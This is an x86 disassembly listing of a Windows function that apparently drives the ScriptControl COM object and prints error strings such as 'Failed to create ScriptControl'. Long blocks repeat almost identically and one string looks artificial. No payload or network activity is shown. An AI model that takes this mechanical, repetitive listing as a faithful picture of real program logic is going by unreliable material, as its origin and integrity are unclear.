push str.No_valid_data_received.
call fcn.00402900
add esp, 4
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00403640
mov edx, dword [esi]
mov eax, dword [edx + 4]
xor edi, edi
test byte [eax + esi + 0xc], bl
jne 0x40234a
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x40234a
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x40236b
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], 0
jne 0x402363
or eax, 4
push 0
push eax
call fcn.00403870
push str.No_valid_data_received.
call fcn.00402900
add esp, 4
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00403640
mov edx, dword [esi]
mov eax, dword [edx + 4]
xor edi, edi
test byte [eax + esi + 0xc], bl
jne 0x4023a7
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x4023a7
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x4023c8
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], 0
jne 0x4023c0
or eax, 4
push 0
push eax
call fcn.00403870
push str.No_valid_data_received.
call fcn.00402900
add esp, 4
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00403640
mov edx, dword [esi]
mov eax, dword [edx + 4]
xor edi, edi
test byte [eax + esi + 0xc], bl
jne 0x402404
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x402404
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x402425
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], 0
jne 0x40241d
or eax, 4
push 0
push eax
call fcn.00403870
push str.No_valid_data_received.
call fcn.00402900
add esp, 4
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00403640
mov edx, dword [esi]
mov eax, dword [edx + 4]
xor edi, edi
test byte [eax + esi + 0xc], bl
jne 0x402461
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x402461
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x402482
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], 0
jne 0x40247a
or eax, 4
push 0
push eax
call fcn.00403870
push str.No_valid_data_received.
call fcn.00402900
add esp, 4
mov esi, eax
call fcn.004027c0
push str.No_valid_data_received.
call fcn.00402900
add esp, 4
mov esi, eax
call fcn.004027c0
push str.No_valid_data_received.
call fcn.00402900
add esp, 4
mov esi, eax
call fcn.004027c0
push str.No_valid_data_received.
call fcn.00402900
add esp, 4
mov esi, eax
call fcn.004027c0
push str.No_valid_data_received.
call fcn.00402900
add esp, 4
mov esi, eax
call fcn.004027c0
push str.No_valid_data_received.
call fcn.00402900
add esp, 4
mov esi, eax
call fcn.004027c0
push str.No_valid_data_received.
call fcn.00402900
add esp, 4
mov esi, eax
call fcn.004027c0
push str.No_valid_data_received.
call fcn.00402900
add esp, 4
mov esi, eax
call fcn.004027c0
push str.No_valid_data_received.
call fcn.00402900
add esp, 4
mov esi, eax
call fcn.004027c0
push str.No_valid_data_received.
call fcn.00402900
add esp, 4
mov esi, eax
call fcn.004027c0
push str.No_valid_data_received.
call fcn.00402900
add esp, 4
mov esi, eax
call fcn.004027c0
mov eax, dword [esp + 0x10]
mov edx, dword [eax]
push eax
mov eax, dword [edx + 8]
call eax
lea ecx, [esp + 0x2c]
push ecx
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
lea edi, [esp + 0x1c]
mov dword [esp + 0x48], 0xffffffff
call fcn.00401130
jmp 0x4026d5
push str.Failed_to_create_ScriptControl.
call fcn.00402900
add esp, 4
push eax
call fcn.004039d0
add esp, 4
push str.Failed_to_create_ScriptControl.
call fcn.00402900
add esp, 4
push eax
call fcn.004039d0
add esp, 4
push str.Failed_to_create_ScriptControl.
call fcn.00402900
add esp, 4
push eax
call fcn.004039d0
add esp, 4
push str.Failed_to_create_ScriptControl.
call fcn.00402900
add esp, 4
push eax
call fcn.004039d0
add esp, 4
push str.Failed_to_create_ScriptControl.
call fcn.00402900
add esp, 4
push eax
call fcn.004039d0
add esp, 4
push str.Failed_to_create_ScriptControl.
call fcn.00402900
add esp, 4
push eax
call fcn.004039d0
add esp, 4
push str.Failed_to_create_ScriptControl.
call fcn.00402900
add esp, 4
push eax
call fcn.004039d0
add esp, 4
push str.Failed_to_create_ScriptControl.
call fcn.00402900
add esp, 4
push eax
call fcn.004039d0
add esp, 4
push str.Failed_to_create_ScriptControl.
call fcn.00402900
add esp, 4
push eax
call fcn.004039d0
add esp, 4
push str.Failed_to_create_ScriptControl.
call fcn.00402900
add esp, 4
push eax
call fcn.004039d0
add esp, 4
push str.Failed_to_create_ScriptControl.
call fcn.00402900
add esp, 4
push eax
call fcn.004039d0
add esp, 4
push str.Failed_to_create_ScriptControl.
call fcn.00402900
add esp, 4
push eax
call fcn.004039d0
add esp, 4
push str.Failed_to_create_ScriptControl.
call fcn.00402900
add esp, 4
push eax
call fcn.004039d0
add esp, 4
push str.Failed_to_create_ScriptControl.
call fcn.00402900
add esp, 4
push eax
call fcn.004039d0
add esp, 4
push str.Failed_to_create_ScriptControl.
call fcn.00402900
add esp, 4
push eax
call fcn.004039d0
add esp, 4
push str.No_valid_data_AAAAAADDDDDEEEEEE.
call fcn.00402900
add esp, 4
push eax
call fcn.004039d0
add esp, 4
push str.No_valid_data_AAAAAADDDDDEEEEEE.
call fcn.00402900
add esp, 4
push eax
call fcn.004039d0
add esp, 4
push str.No_valid_data_AAAAAADDDDDEEEEEE.
call fcn.00402900
add esp, 4
push eax
call fcn.004039d0
add esp, 4
push str.No_valid_data_AAAAAADDDDDEEEEEE.
call fcn.00402900
add esp, 4
push eax
call fcn.004039d0
add esp, 4
push str.No_valid_data_AAAAAADDDDDEEEEEE.
call fcn.00402900
add esp, 4
push eax
call fcn.004039d0
add esp, 4
push str.No_valid_data_AAAAAADDDDDEEEEEE.
call fcn.00402900
add esp, 4
push eax
call fcn.004039d0
add esp, 4
push str.No_valid_data_AAAAAADDDDDEEEEEE.
call fcn.00402900
add esp, 4
push eax
call fcn.004039d0
add esp, 4
push str.No_valid_data_AAAAAADDDDDEEEEEE.
call fcn.00402900
add esp, 4
push eax
call fcn.004039d0
add esp, 4
push str.No_valid_data_AAAAAADDDDDEEEEEE.
call fcn.00402900
add esp, 4
push eax
call fcn.004039d0
add esp, 4
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x40]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret